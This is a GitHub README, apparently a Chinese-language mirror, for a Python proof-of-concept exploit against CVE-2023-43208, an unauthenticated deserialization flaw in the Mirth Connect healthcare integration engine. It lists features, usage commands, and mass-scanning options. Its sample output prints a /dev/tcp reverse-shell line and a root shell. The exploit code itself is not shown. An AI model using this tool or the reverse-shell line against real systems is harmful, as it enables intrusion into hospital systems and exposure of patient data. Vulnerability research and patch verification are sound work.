4nuxd/CVE-2023-43208

GitHub: 4nuxd/CVE-2023-43208

针对 Mirth Connect 医疗集成引擎的 Java 反序列化 RCE 漏洞(CVE-2023-43208)的 PoC 利用工具,支持自动检测、版本识别、批量扫描及无依赖交互式 shell。

Stars: 0 | Forks: 0

# CVE-2023-43208 — Mirth Connect RCE ![Python](https://img.shields.io/badge/Python-3.x-blue?style=flat-square) ![CVE](https://img.shields.io/badge/CVE-2023--43208-red?style=flat-square) ![Platform](https://img.shields.io/badge/Platform-Linux-lightgrey?style=flat-square) ## 描述 Mirth Connect 是一款广泛部署的开源医疗集成引擎。该漏洞利用了通过 `/api/users` 端点的 Java 反序列化缺陷,使用精心构造的 XML payload 串联 Apache Commons Collections gadgets 以实现未经认证的 RCE。 增强版使用纯 Python 内置模块(`socket`、`select`、`tty`、`termios`)实现了完全无依赖的交互式 PTY shell,替代了原有的 `pwncat` 监听器。连接时 shell 会自动升级为完整的 PTY。 ## 受影响版本 | 软件 | 受影响版本 | 修复版本 | |----------------|---------------------|---------------| | Mirth Connect | < 4.4.1 | 4.4.1+ | ## 功能 - 自动检测 Mirth Connect 实例 - 版本指纹识别与漏洞检查 - 通过 XML 反序列化 payload 实现未经认证的 RCE - 自动 PTY shell 升级(`python3`/`python`/`script` 回退机制) - 正确的终端尺寸传播(`stty rows/cols`) - 支持多线程的批量扫描器 - 将受影响目标输出到文件 - 无 `pwncat` 依赖 —— 监听器仅使用标准库 ## 安装 ``` git clone https://github.com/yourrepo/CVE-2023-43208 cd CVE-2023-43208 pip install -r requirements.txt ``` ### 环境要求 ``` requests packaging rich alive-progress ``` ## 用法 ### 单个目标 — 获取 Shell ``` python3 CVE-2023-43208.py -u https:// -lh -lp ``` ### 单个目标 — 使用 ngrok / 绑定端口 ``` python3 CVE-2023-43208.py -u https:// -lh -lp -bp ``` ### 从文件批量扫描 ``` python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt ``` ## 参数 | 标志 | 描述 | |-------------------|--------------------------------------------------| | `-u`, `--url` | 目标 URL | | `-lh`, `--lhost` | 您的监听 IP | | `-lp`, `--lport` | 您的监听端口 | | `-bp`, `--bindport` | 绑定端口覆盖(配合 ngrok 使用) | | `-f`, `--file` | 包含目标 URL 列表的文件 | | `-o`, `--output` | 将受影响目标保存到文件 | | `-t`, `--threads` | 扫描线程数(默认:50) | ## 示例输出 ``` [*] Setting up listener on 10.10.15.202:4444 and launching exploit... [*] Waiting for incoming connection on port 4444... [*] Looking for Mirth Connect instance... [+] Found Mirth Connect instance [+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3 [!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...' [*] Launching exploit against https://10.129.5.3... [+] Received connection from 10.129.5.3:59640 [+] Shell opened! Upgrading to PTY... root@mirth:/# ``` ## 免责声明 ## 致谢 - **编写者:** K3ysTr0K3R 和 Chocapikk - **增强者:** 4nuxd
标签:Apache Commons Collections, CISA项目, CVE-2023-43208, Java反序列化, Maven, Mirth Connect, PoC, Python, RCE, Web报告查看器, 中间件安全, 交互式Shell, 医疗安全, 反弹Shell, 威胁模拟, 批量检测, 无后门, 无服务器架构, 暴力破解, 未授权访问, 漏洞验证, 编程工具, 网络信息收集, 网络安全, 远程代码执行, 逆向工具, 隐私保护